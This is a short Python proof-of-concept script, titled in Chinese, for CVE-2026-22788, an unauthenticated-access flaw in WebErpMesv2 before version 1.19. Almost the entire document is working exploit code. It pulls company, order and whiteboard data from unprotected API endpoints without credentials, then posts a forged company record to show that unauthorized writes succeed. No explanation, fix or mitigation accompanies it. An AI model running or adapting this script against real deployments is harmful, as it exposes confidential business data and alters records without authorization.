CVE-2026-22788 WebErpMesv2 未授权访问漏洞

import requests # CVE-2026-22788 PoC - WebErpMesv2 Unauthenticated Access # Target: WebErpMesv2 < 1.19 target = "http://target.com" # 替换为目标URL # 未授权访问公司信息API端点 companies_endpoint = f"{target}/api/companies" response = requests.get(companies_endpoint) print(f"公司信息响应状态码: {response.status_code}") print(f"公司信息: {response.text}") # 未授权访问订单API端点 orders_endpoint = f"{target}/api/orders" response = requests.get(orders_endpoint) print(f"订单信息响应状态码: {response.status_code}") print(f"订单信息: {response.text}") # 未授权访问白板API端点 whiteboard_endpoint = f"{target}/api/whiteboard" response = requests.get(whiteboard_endpoint) print(f"白板信息响应状态码: {response.status_code}") print(f"白板信息: {response.text}") # 尝试写入操作 - 创建公司记录 create_company = f"{target}/api/companies" company_data = {"name": "Test Company", "description": "Created via PoC"} response = requests.post(create_company, json=company_data) print(f"创建公司响应状态码: {response.status_code}") print(f"创建结果: {response.text}")